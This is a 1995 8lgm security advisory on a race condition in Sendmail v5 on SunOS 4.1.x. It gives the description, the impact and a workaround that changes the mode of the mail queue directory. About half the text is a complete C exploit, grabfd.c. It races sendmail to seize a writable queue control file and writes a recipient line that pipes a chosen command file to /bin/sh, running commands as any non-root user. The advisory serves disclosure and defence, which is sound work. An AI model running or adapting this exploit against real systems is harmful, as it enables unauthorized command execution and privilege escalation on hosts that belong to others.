****************************************************************************** HACK: Sendmail(8): Race condition runs programs as any non root user [8lgm] System: Sendmail V5.1 Source: [8lgm]-Advisory-20.UNIX.SunOS-sendmailV5.1-Aug-1995 ****************************************************************************** PROGRAM: sendmail(8) VULNERABLE VERSIONS: SunOS 4.1.* Sendmail v5 sources Potentially other vendor v5 based sendmails DESCRIPTION: The method used by sendmail version 5 to open a control file is insecure. A race condition exists whereby another process may obtain a control-file file descriptor, opened for write access. IMPACT: Local users can write their own control files, and run programs as any user, bar root. This increases chances of obtaining root access on the local system. REPEAT BY: A program to exploit this vulnerability is available as of now. This program has been tested with the latest Sun patch, and should work on other platforms. The program follows at the end of this post. DISCUSSION: Sendmail v5, during execution, sets umask(0), which is an insecure mask. In order not to leave open control files with mode 666, sendmail v5 uses chmod(2) to set a secure file mode. However this is a race condition, as we can obtain an open file descriptor for write by opening the control file before the call to chmod(2). WORKAROUND: Change the mode on /usr/spool/mqueue to 700. This will prevent normal users gaining access to the queue files directly. grabfd.c: /* * grabfd.c * usage: grabfd username command-file * * username: user to execute 'command-file' as. * command-file: file containing 10 lines of shell commands to execute. */ #include #include #include #include #ifndef SENDMAIL #define SENDMAIL "/usr/lib/sendmail" #endif #ifndef SPOOL_DIR #define SPOOL_DIR "/usr/spool/mqueue" #endif char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n"; main(argc,argv) int argc; char **argv; { int pid, fd; char tbuf[MAXPATHLEN], sysbuf[BUFSIZ]; if (argc != 3) { (void)fprintf(stderr, "%s: user file\n", argv[0]); exit(1); } if (getpwnam(argv[1]) == NULL) (void)fprintf(stderr, "%s: user %s unknown (error ignored)\n", argv[0], argv[1]); if (access(argv[2], F_OK) == -1) { (void)fprintf(stderr, "%s: %s does not exist.\n", argv[0], argv[2]); exit(1); } if (access(SPOOL_DIR, X_OK) == -1) { (void)fprintf(stderr, "%s: cannot access %s.\n", argv[0], SPOOL_DIR); exit(1); } if (pid=fork()) { if (pid == -1) { (void)perror("fork"); exit(1); } (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid); (void)sprintf(sysbuf, myqfile, argv[2], argv[1]); for (;;) if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) { (void)printf("%s: grabbed queue fd.\n", argv[0]); (void)wait(); (void)ftruncate(fd, 0); (void)write(fd, sysbuf, strlen(sysbuf)); (void)close(fd); if(execl(SENDMAIL, "sendmail", "-q", (char *)0) == -1) { (void)perror("execl"); exit(1); }; } } else { (void)close(0); if (open("/etc/motd", O_RDONLY, 0) == -1) { (void)perror("open"); exit(1); }; if (execl(SENDMAIL, "sendmail", #ifdef sun "-os", #endif "-odq", getlogin(), (char *)0) == -1) { (void)perror("execl"); exit(1); }; } exit(1); }